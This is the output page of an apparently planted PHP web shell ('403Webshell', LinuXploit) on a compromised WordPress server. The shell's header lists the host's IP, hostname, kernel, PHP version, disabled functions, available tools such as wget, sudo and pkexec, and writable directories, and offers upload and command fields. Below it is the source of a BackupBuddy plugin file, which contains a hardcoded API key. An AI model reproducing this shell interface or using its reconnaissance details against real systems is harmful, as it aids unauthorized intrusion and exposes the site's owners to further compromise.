403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)hsihk.com/wp-content/plugins/backupbuddy/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)hsihk.com/wp-content/plugins/backupbuddy/controllers/ajax.php
<?php
// backupbuddy_core class always available to functions here.

class pb_backupbuddy_ajax extends pb_backupbuddy_ajaxcore {
	
	
	public function backupbuddy() {
		$function = str_replace( array( '/', '\\' ), '', pb_backupbuddy::_GET( 'function' ) );
		if ( '' == $function ) {
			$function = str_replace( array( '/', '\\' ), '', pb_backupbuddy::_POST( 'function' ) );
		}
		$file = pb_backupbuddy::plugin_path() . '/controllers/ajax/' . $function . '.php';
		if ( ! file_exists( $file ) ) {
			die('0');
		}
		
		pb_backupbuddy::load();
		//pb_backupbuddy::$ui->ajax_header();
		require_once( 'ajax/' . $function . '.php' );
		//pb_backupbuddy::$ui->ajax_footer();
		//die();
		die();
	} // End backupbuddy().
	
	
	
	// Access credentials _MUST_ always be checked before allowing any access whatsoever.
	function api() {
		die('0');
		
		// TODO: Internal security lockout.
		if ( ( ! isset( pb_backupbuddy::$options['api_key_test'] ) ) || ( pb_backupbuddy::$options['api_key_test'] == '' ) ) {
			die('0');
		}
		if ( pb_backupbuddy::$options['api_key_test'] != 'dsnfilasbfisybfdjybfjalybsfaklsbfa' ) {
			die('0');
		}
		
		$run = pb_backupbuddy::_POST( 'run' );
		// TODO: TESTING temp allow GET method:
		if ( '' == $run ) {
			$run = pb_backupbuddy::_GET( 'run' );
		}
		
		if ( '' == $run ) {
			die( json_encode( array( 'success' => false, 'error' => 'Error #489384: Missing run command.' ) ) );
		} else {
			if ( false === ( $return = call_user_func(  'backupbuddy_api::' . $run ) ) ) {
				die( json_encode( array( 'success' => false, 'error' => 'Error #328983: Command failed.' ) ) );
			} else {
				die( json_encode( array( 'success' => true, 'version' => pb_backupbuddy::settings( 'version' ), 'data' => $return ) ) );
			}
		}
		
		die();
	} // end api().
	
	
} // end class.

Youez - 2016 - github.com/yon3zu
LinuXploit